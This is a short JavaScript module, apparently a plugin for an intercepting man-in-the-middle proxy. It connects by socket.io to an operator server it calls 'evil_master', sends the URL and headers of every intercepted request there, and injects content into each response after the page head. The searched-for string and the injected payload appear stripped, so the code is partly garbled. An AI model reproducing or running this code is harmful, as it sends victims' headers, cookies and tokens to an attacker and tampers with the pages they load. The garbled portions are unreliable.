var fs = require('fs') var config = fs.readFileSync('config.txt', 'utf8').split('\n').map(function(l) {return l.split('=')}) var my_ip = config.filter(function(l){return l[0]=='my_ip'})[0][1] var server_port = config.filter(function(l){return l[0]=='server_port'})[0][1] var evil_master = my_ip+':'+server_port var io = require('socket.io-client').connect('http://'+evil_master) exports.run = function(api) { console.log('injecting...') var qinf = api.getRequestInfo() io.emit('request', {url: qinf.absUrl, headers: qinf.headers}) var body = api.getResponseBody() var headIndex = body.indexOf('
')+6 if (headIndex == 5) headIndex = 0 body = body.substr(0, headIndex) + '\n' + '\n' + '\n' + body.substr(headIndex) api.setResponseBody(body) api.notify() }